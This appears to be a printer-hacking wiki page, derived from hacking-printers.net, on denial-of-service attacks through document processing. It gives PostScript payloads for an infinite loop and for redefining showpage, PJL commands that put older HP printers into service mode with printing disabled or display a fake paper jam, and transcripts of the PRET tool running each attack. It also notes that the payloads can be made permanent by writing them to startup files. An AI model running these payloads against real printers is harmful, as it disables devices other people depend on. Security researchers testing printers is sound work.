# Document Processing
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Page description languages allowing infinite loops or calculations that require a lot of computing time. Even minimalist languages like [PCL](http://hacking-printers.net/wiki/index.php/PCL) can be used to upload permanent macros or fonts until the available memory is consumed. ## PostScript ### Infinite loops ``` %! {} loop ``` Using [PRET](https://github.com/RUB-NDS/PRET): ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> hang Warning: This command causes an infinite loop rendering the device useless until manual restart. Press CTRL+C to abort. Executing PostScript infinite loop in... 10 9 8 7 6 5 4 3 2 1 KABOOM! ``` ### Redefine showpage By setting `showpage` – which is used in every document to actually print the page – to do nothing at all, PostScript jobs are processed they won't print anything. ``` true 0 startjob /showpage {} def ``` Using [PRET](https://github.com/RUB-NDS/PRET): ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> disable Disabling printing functionality ``` Both attacks code can also be written into Sys/Start, startup.ps or similar files to cause **permanent DoS** on devices with a writable disk. ## PJL ### PJL jobmedia Proprietary PJL commands can be used to set the older HP devices like the LaserJet 4k series into service mode and completely disable all printing functionality as shown below: ``` @PJL SET SERVICEMODE=HPBOISEID @PJL DEFAULT JOBMEDIA=OFF ``` Using [PRET](https://github.com/RUB-NDS/PRET): ``` ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> disable Printing functionality: OFF ``` ### Offline mode In addition, the PJL standard defines the `OPMSG` command which β€˜prompts the printer to display a specified message and go offline’ \cite{hp1997pjl}. This can be used to simulate a paper jam as shown in below: ``` @PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS" ``` Using [PRET](https://github.com/RUB-NDS/PRET): ``` ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> offline "MESSAGE TO DSIPLAY" Warning: Taking the printer offline will prevent yourself and others from printing or re-connecting to the device. Press CTRL+C to abort. Taking printer offline in... 10 9 8 7 6 5 4 3 2 1 KABOOM! ``` **Learn more about these attacks in** [**http://hacking-printers.net/wiki/index.php/Document\_processing**](http://hacking-printers.net/wiki/index.php/Document_processing)
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